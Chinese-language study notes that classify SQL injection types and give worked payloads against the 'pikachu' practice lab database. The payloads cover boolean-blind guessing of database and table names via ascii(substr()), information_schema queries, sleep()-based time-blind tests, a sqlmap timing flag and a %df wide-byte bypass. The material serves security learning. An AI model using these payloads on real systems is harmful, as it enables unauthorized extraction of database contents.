按照数据提交的方式来分类
友情链接:https://www.cnblogs.com/-chenxs/p/11614129.html、https://www.cnblogs.com/p0pl4r/p/10320631.html
(1)GET 注入
提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1 , id 是注入点。
(2)POST 注入
使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。
(3)Cookie 注入
HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。
(4)HTTP 头部注入
注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。
https://www.cnblogs.com/0nth3way/articles/7093045.html
https://blog.csdn.net/qq_42526270/article/details/102729958
按照执行效果来分类
(1)
基于布尔的盲注
即可以根据返回页面判断条件真假的注入。
猜数据库长度–猜数据库名–猜表长度–猜表名–
数据库长度
kobe' and length(database())=7#
表名
kobe' and ascii(substr(database(),1,1))=112# p
kobe' and ascii(substr(database(),2,1))=105# i
kobe' and ascii(substr(database(),3,1))=107# k
kobe' and ascii(substr(database(),4,1))=97# a
kobe' and ascii(substr(database(),5,1))=99# c
kobe' and ascii(substr(database(),6,1))=104# h
kobe' and ascii(substr(database(),7,1))=117# u
substr()是一个切片函数(字符串,开始位置,步长)
ascii()就是将字符转为ascii码值
数据库长度为7
数据库为pikachu
猜表长度
kobe' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,100)) =8#
首先最里面是一个查询语句,可以通过调整limit 后的数字查到每一个数据库的名字
外层是一个分片函数substr(字符串,开始位置,步长),字符串就是查询语句查出的数据库名,从1开始到100结束,是第一片。100的意义就是保证数据库名的完整性够大即可(一般稍大就可以,谁也不会把一个数据库名设置100多个字符串)
最后就是length()了通过和后面的判断语句配合来确定字符串的具体长度
猜表名
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) = 104#
(2)基于时间的盲注
即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
sqlmap进行延迟注入
--time-sec=5
时间盲注
https://zhuanlan.zhihu.com/p/413352033
如果kobe存在的话,这条命令会延迟5s之后执行
kobe' and sleep(5)#
猜数据库长度
kobe' and if((length(database()))=7,sleep(5),1)#
猜数据库名
kobe' and if(ascii(substr(database(),1,1))=112,sleep(5),1)#
(3)基于报错注入
即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
单引号
双引号
基于数字型注入
(4)联合查询注入
可以使用union的情况下的注入。
(5)堆查询注入
可以同时执行多条语句的执行时的注入。
(6)宽字节注入
%df\’ = %df%5c%27=縗’
%df'